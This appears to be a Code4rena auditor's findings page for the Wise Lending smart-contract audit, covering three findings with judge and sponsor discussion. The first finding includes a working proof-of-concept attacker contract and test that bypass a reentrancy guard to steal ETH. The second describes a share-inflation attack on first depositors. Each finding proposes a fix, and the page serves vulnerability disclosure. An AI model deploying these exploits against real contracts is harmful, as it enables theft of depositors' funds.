Platform: Code4rena
Start Date: 21/02/2024
Pot Size: $200,000 USDC
Total HM: 22
Participants: 36
Period: 19 days
Judge: Trust
Total Solo HM: 12
Id: 330
League: ETH
Rank: 4/36
Findings: 3
Award: $15,460.18
π Selected for report: 2
π Solo Findings: 1
8147.9336 USDC - $8,147.93
https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L97 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L275 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L636 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L49 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/TransferHub/SendValueHelper.sol#L12 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L681 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/FeeManager/FeeManager.sol#L730
The WiseLending contract incorporates a reentrancy guard through its syncPool modifier, specifically within the _syncPoolBeforeCodeExecution function. This guard is meant to prevent reentrancy during external calls, such as in the withdrawExactAmountETH function, which processes ETH withdrawals for users.
However, there is currently a way to reset this guard, allowing for potential reentrant attacks during external calls. The WiseLending contract includes a receive function designed to automatically redirect all ETH sent directly to it (apart from transactions from the WETH address) to a specified master address.
To forward the ETH the _sendValue function is used, here the sendingProgress variable (which is used for reentrancy checks) is set to true to denote the start of the transfer process and subsequently reset to false following the completion of the call.
function _sendValue( address _recipient, uint256 _amount ) internal { if (address(this).balance < _amount) { revert AmountTooSmall(); } sendingProgress = true; ( bool success , ) = payable(_recipient).call{ value: _amount }(""); sendingProgress = false; if (success == false) { revert SendValueFailed(); } }
As a result, an attacker could bypass an active reentrancy guard by initiating the receive function, effectively resetting the sendingProgress variable. This action clears the way for an attacker to re-enter any function within the contract, even those protected by the reentrancy guard.
Having bypassed the reentrancy protection, let's see how this vulnerability could be leveraged to steal funds from the contract.
The withdrawExactAmountETH function allows users to withdraw their deposited shares from the protocol and receive ETH, this function also contains a healthStateCheck to ensure post withdrawal a users position is still in a healthy state. Note that this health check is done after the external call that pays out the user ETH, this will be important later on.
The protocol also implements a paybackBadDebtForToken function that allows users to pay off any other users bad debt and receive a 5% incentive for doing so.
To understand how this can be exploited, consider the following example:
Testing is done in the WiseLendingShutdownTest file, with ContractA imported prior to executing tests.
// import ContractA import "./ContractA.sol"; // import MockErc20 import "./MockContracts/MockErc20.sol"; contract WiseLendingShutdownTest is Test { ... ContractA public contractA; function _deployNewWiseLending(bool _mainnetFork) internal { ... contractA = new ContractA(address(FEE_MANAGER_INSTANCE), payable(address(LENDING_INSTANCE))); ... }
function testExploitReentrancy() public { uint256 depositValue = 10 ether; uint256 borrowAmount = 2 ether; vm.deal(address(contractA), 2 ether); ORACLE_HUB_INSTANCE.setHeartBeat(WETH_ADDRESS, 100 days); POSITION_NFTS_INSTANCE.mintPosition(); uint256 nftId = POSITION_NFTS_INSTANCE.tokenOfOwnerByIndex(address(this), 0); LENDING_INSTANCE.depositExactAmountETH{value: depositValue}(nftId); LENDING_INSTANCE.borrowExactAmountETH(nftId, borrowAmount); vm.prank(address(LENDING_INSTANCE)); MockErc20(WETH_ADDRESS).transfer(address(FEE_MANAGER_INSTANCE), 1 ether); // check contractA balance uint ethBalanceStart = address(contractA).balance; uint wethBalanceStart = MockErc20(WETH_ADDRESS).balanceOf(address(contractA)); //total uint totalBalanceStart = ethBalanceStart + wethBalanceStart; console.log("totalBalanceStart", totalBalanceStart); // deposit using contractA vm.startPrank(address(contractA)); LENDING_INSTANCE.depositExactAmountETHMint{value: 2 ether}(); vm.stopPrank(); FEE_MANAGER_INSTANCE._increaseFeeTokens(WETH_ADDRESS, 1 ether); // withdraw weth using contractA vm.startPrank(address(contractA)); LENDING_INSTANCE.withdrawExactAmount(2, WETH_ADDRESS, 1 ether); vm.stopPrank(); // approve feemanager for 1 weth from contractA vm.startPrank(address(contractA)); MockErc20(WETH_ADDRESS).approve(address(FEE_MANAGER_INSTANCE), 1 ether); vm.stopPrank(); // borrow using contractA vm.startPrank(address(contractA)); LENDING_INSTANCE.borrowExactAmount(2, WETH_ADDRESS, 0.5 ether); vm.stopPrank(); // Payback amount //499537556593483218 // withdraw using contractA vm.startPrank(address(contractA)); LENDING_INSTANCE.withdrawExactAmountETH(2, 0.99 ether); vm.stopPrank(); // check contractA balance uint ethBalanceAfter = address(contractA).balance; uint wethBalanceAfter = MockErc20(WETH_ADDRESS).balanceOf(address(contractA)); //total uint totalBalanceAfter = ethBalanceAfter + wethBalanceAfter; console.log("totalBalanceAfter", totalBalanceAfter); uint diff = totalBalanceAfter - totalBalanceStart; assertEq(diff > 5e17, true, "ContractA profit greater than 0.5 eth"); }
// SPDX-License-Identifier: -- WISE -- pragma solidity =0.8.24; // import lending and fees contracts import "./WiseLending.sol"; import "./FeeManager/FeeManager.sol"; contract ContractA { address public feesContract; address payable public lendingContract; address constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; constructor(address _feesContract, address payable _lendingContract) payable { feesContract = _feesContract; lendingContract = _lendingContract; } fallback() external payable { if (msg.sender == lendingContract) { // send lending contract 0.01 eth to reset reentrancy flag (bool sent, bytes memory data) = lendingContract.call{value: 0.01 ether}(""); //paybackBadDebtForToken FeeManager(feesContract).paybackBadDebtForToken(2, WETH_ADDRESS, WETH_ADDRESS, 499537556593483218); } } }
This vulnerability allows an attacker to illicitly withdraw funds from the contract through the outlined method. Additionally, the exploit could also work using the contract's liquidation process instead.
Edit the _sendValue function to include a reentrancy check. This ensures that the reentrancy guard is first checked, preventing attackers from exploiting this function as a reentry point. This will also not disrupt transfers from the WETH address as those donβt go through the _sendValue function.
function _sendValue( address _recipient, uint256 _amount ) internal { if (address(this).balance < _amount) { revert AmountTooSmall(); } _checkReentrancy(); //add here sendingProgress = true; ( bool success , ) = payable(_recipient).call{ value: _amount }(""); sendingProgress = false; if (success == false) { revert SendValueFailed(); } }
Other
#0 - c4-pre-sort
2024-03-17T14:34:42Z
GalloDaSballo marked the issue as duplicate of #40
#1 - c4-pre-sort
2024-03-18T16:26:34Z
GalloDaSballo marked the issue as high quality report
#2 - c4-judge
2024-03-26T15:04:54Z
trust1995 marked the issue as selected for report
#3 - c4-judge
2024-03-26T18:40:07Z
trust1995 marked the issue as satisfactory
#4 - thebrittfactor
2024-04-29T14:20:58Z
For transparency and per conversation with the sponsors, see here for the Wise Lending team's mitigation.
π Selected for report: SBSecurity
Also found by: 0xCiphky
1880.2924 USDC - $1,880.29
https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L682 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L529 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L452 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L502 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L334 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L386 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L114
The PendlePowerFarmToken contract is initialized through the initialize function, during which the _totalSupply and underlyingLpAssetsCurrent are initially assigned a value of 1.
function initialize( ... ) external { ... lastInteraction = block.timestamp; _totalSupply = 1; underlyingLpAssetsCurrent = 1; mintFee = 3000; INITIAL_TIME_STAMP = block.timestamp; }
Users can make deposits into the LP through the depositExactAmount function, which relies on the previewMintShares function to calculate the number of shares a user will receive based on the specified _underlyingLpAssetAmount. The calculation of shares is performed using the following formula:
Therefore, for the first depositor, given that totalSupply and _underlyingLpAssetsCurrent were initially set to one, it might seem that they would receive a one-to-one ratio. However, this initial assumption could be misleading and may result in the user receiving a less favorable rate.
The contract includes an addCompoundRewards function, allowing any user to add rewards. The amount input through this function is initially added to the totalLpAssetsToDistribute. This totalLpAssetsToDistribute amount is then incorporated into the contract whenever the syncSupply modifier is triggered, which happens during deposits.
Looking closer at the syncSupply mechanism, specifically the _syncSupply() function, it increases the underlyingLpAssetsCurrent with the amount calculated by the previewDistribution function. Although there's a limitation on the increase to underlyingLpAssetsCurrent, a minimum addition of 604799 can be guaranteed, from the following check.
if (totalLpAssetsToDistribute < ONE_WEEK) { return totalLpAssetsToDistribute; }
Revisiting the scenario of the first deposit, given the adjustment where the underlyingLpAssetsCurrent has been updated to 604800 and the totalSupply remains at one, let's consider the situation where the first user decides to deposit an amount of 1e18:
In comparison, a one-to-one ratio would have equated to 1e18 shares, indicating a significant discrepancy from the expected outcome.
Additionally, the lack of an option for users to set slippage limits within the depositExactAmount function makes it challenging to avoid this issue.
NOTE: There's a safeguard in the syncSupply process, specifically through the _validateSharePriceGrowth check, aimed at preventing excessive inflation of the share price. However, because the compound rewards are added prior to the calculation of the initial share price, this is not effective here for the amounts above.
Severity: The initial and early depositors are at risk of receiving significantly less favorable rates due to the situation above. Without the capability to set a minimum slippage threshold, this situation could lead to potential losses for these users or discourage them from making deposits altogether.
Likelihood: Since the addCompoundRewards function lacks any form of access control, any user has the capability to execute this attack. Moreover, due to the initial low ratio of 1:1, even a minimal input can lead to significant discrepancies, potentially resulting in substantial losses for early depositors.
Manual analysis
The core issue stems from the very low initial values assigned to _totalSupply and underlyingLpAssetsCurrent, both set at one, which leaves the system vulnerable to manipulation. To counteract this, initialize these values at higher numbers.
Other
#0 - c4-pre-sort
2024-03-17T15:49:35Z
GalloDaSballo marked the issue as duplicate of #130
#1 - c4-pre-sort
2024-03-18T16:28:48Z
GalloDaSballo marked the issue as sufficient quality report
#2 - c4-judge
2024-03-25T22:07:17Z
trust1995 marked the issue as satisfactory
#3 - c4-judge
2024-03-26T18:24:25Z
trust1995 marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-03-27T14:26:09Z
trust1995 marked the issue as not a duplicate
#5 - c4-judge
2024-03-27T14:34:07Z
trust1995 marked the issue as duplicate of #271
#6 - c4-judge
2024-03-27T14:35:01Z
trust1995 marked the issue as satisfactory
#7 - c4-judge
2024-03-27T18:30:48Z
trust1995 changed the severity to 3 (High Risk)
#8 - c4-judge
2024-03-27T20:49:21Z
trust1995 marked the issue as not a duplicate
#9 - c4-judge
2024-03-27T20:49:27Z
trust1995 marked the issue as duplicate of #271
#10 - c4-judge
2024-03-27T20:49:36Z
trust1995 changed the severity to 2 (Med Risk)
π Selected for report: 0xCiphky
5431.9558 USDC - $5,431.96
https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/FeeManager/FeeManager.sol#L135 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/FeeManager/FeeManager.sol#L108 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L97 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/MainHelper.sol#L500
The FeeManager contract allows the master address to modify the pool fee, this can be done to a single pool using the setPoolFee function or multiple pools at once using the setPoolFeeBulk function. This fee is used in the the syncPool modifier, specifically the _updatePseudoTotalAmounts function which updates the interest amounts of the borrow and lending pools.
function setPoolFee( address _poolToken, uint256 _newFee ) external onlyMaster { _checkValue( _newFee ); WISE_LENDING.setPoolFee( _poolToken, _newFee ); emit PoolFeeChanged( _poolToken, _newFee, block.timestamp ); }
The issue is that the setPoolFee function modifies the pool fee without invoking the syncPool modifier beforehand. Consequently, the next sync operation incorrectly applies the updated pool fee to the period between the previous call and the change in the pool fee. Although the impact of changing the fee for a single pool may be minimal, using the setPoolFeeBulk function to alter fees for multiple pools could have a bigger impact.
Severity: Medium. Depending on whether the pool fee is increased or decreased, the protocol or its users may end up paying additional fees or receiving reduced fees.
Likelihood: Low. This situation arises solely in instances where there is a change in the pool fee.
Manual analysis
Add the following code to update fees accurately before implementing changes.
function setPoolFee( address _poolToken, uint256 _newFee ) external onlyMaster { WISE_LENDING.syncManually(_poolToken); //add here _checkValue( _newFee ); WISE_LENDING.setPoolFee( _poolToken, _newFee ); emit PoolFeeChanged( _poolToken, _newFee, block.timestamp ); }
Context
#0 - c4-pre-sort
2024-03-17T12:00:00Z
GalloDaSballo marked the issue as sufficient quality report
#1 - GalloDaSballo
2024-03-17T12:00:07Z
Worth double checking if the code should accrue before the update
#2 - c4-pre-sort
2024-03-17T14:39:16Z
GalloDaSballo marked the issue as primary issue
#3 - vm06007
2024-03-22T15:19:30Z
admin can also call this manually (syncManually) directly on the contract after changing fee.
#4 - c4-judge
2024-03-25T21:58:43Z
trust1995 marked the issue as satisfactory
#5 - trust1995
2024-03-25T22:00:14Z
admin can also call this manually (syncManually) directly on the contract after changing fee.
This is true but for it to reduce severity, we would need to see indication that likelihood of this happening (ergo, that the issue is known) is high.
#6 - c4-judge
2024-03-26T17:48:39Z
trust1995 marked the issue as selected for report
#7 - Foon256
2024-03-27T13:53:15Z
admin can also call this manually (syncManually) directly on the contract after changing fee.
This is true but for it to reduce severity, we would need to see indication that likelihood of this happening (ergo, that the issue is known) is high.
But this is clearly a centralization issue and is oos. Or what do I miss here?
#8 - trust1995
2024-03-27T14:46:42Z
Not every flaw in a privileged function can be viewed as a centralization issue. Warden demonstrated a plausible way where an HONEST admin interaction leads to incorrect fee allocation, which I consider to be in scope.
#9 - vm06007
2024-04-02T15:37:37Z
Not every flaw in a privileged function can be viewed as a centralization issue. Warden demonstrated a plausible way where an HONEST admin interaction leads to incorrect fee allocation, which I consider to be in scope.
It seems "honest" is something caps-locked here so we better unfold this:
Also it is in admins interest to make correct calls as expected, if admin makes a mistake then it is same topic of "admin error" no matter the intention.
#10 - trust1995
2024-04-02T15:43:34Z
#11 - thebrittfactor
2024-04-29T14:34:37Z
For transparency and per conversation with the sponsors, see here for the Wise Lending team's mitigation.